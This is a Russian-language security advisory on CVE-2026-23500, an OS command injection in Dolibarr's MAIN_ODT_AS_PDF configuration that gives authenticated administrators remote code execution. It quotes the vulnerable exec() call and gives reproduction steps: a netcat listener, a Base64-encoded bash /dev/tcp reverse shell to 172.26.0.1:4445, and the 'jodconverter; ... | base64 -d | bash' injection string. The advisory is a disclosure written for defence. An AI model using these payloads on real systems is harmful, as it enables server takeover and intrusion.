
CVE-2026-23500 - OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration in Dolibarr
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-23500 |
| Критичность | CRITICAL |
| Уведомление | GHSA-w5j3-8fcr-h87w |
| Обнаружено | Lukasz Rybak |
Аутентифицированный администратор может выполнить произвольные команды операционной системы, внедрив вредоносную нагрузку в конфигурационную константу MAIN_ODT_AS_PDF. Эта уязвимость существует, поскольку приложение не проверяет и не экранирует должным образом путь команды перед передачей его в функцию exec() в процессе преобразования ODT в PDF.
Уязвимость находится в htdocs/includes/odtphp/odf.php.
Когда система пытается преобразовать документ ODT в PDF (например, в коммерческих предложениях, счетах), она формирует команду оболочки с использованием глобального параметра MAIN_ODT_AS_PDF.
Фрагмент кода (htdocs/includes/odtphp/odf.php, примерно строка 930):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
Хотя имя файла $name очищается с помощью escapeshellcmd(), переменная конфигурации MAIN_ODT_AS_PDF извлекается непосредственно из базы данных и добавляется в начало строки. Злоумышленник с правами администратора может установить эту переменную, включив разделитель команд (например, ;) с последующими произвольными командами.
Предварительные требования:
Шаги для воспроизведения (Reverse Shell):
172.26.0.1, Порт: 4445):nc -lvnp 4445
Подготовьте нагрузку. Чтобы избежать проблем со специальными символами (например, & или >), которые могут быть экранированы веб-приложением или оболочкой, закодируйте команду reverse shell в Base64:
# Команда: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Вывод: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
Перейдите в Главная -> Настройка -> Другие настройки.
Добавьте или измените константу MAIN_ODT_AS_PDF, указав следующую внедряемую нагрузку:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(Пояснение: jodconverter удовлетворяет начальной проверке, ; действует как разделитель команд, а конвейер декодирует и выполняет нагрузку Base64).
Перейдите в Коммерция -> Новое предложение, создайте черновик, выберите ODT шаблон (например, generic_proposal_odt) и нажмите .
Удаленное выполнение кода (RCE).
Злоумышленник, получивший доступ к учетной записи администратора (или злонамеренный администратор), может выполнять произвольные команды на базовом сервере с правами пользователя веб-сервера (обычно www-data). Это позволяет:
Сообщил Łukasz Rybak
Этот CVE был ответственно раскрыт в соответствии с практиками скоординированного раскрытия уязвимостей. Предоставленная информация предназначена только для образовательных и защитных целей.
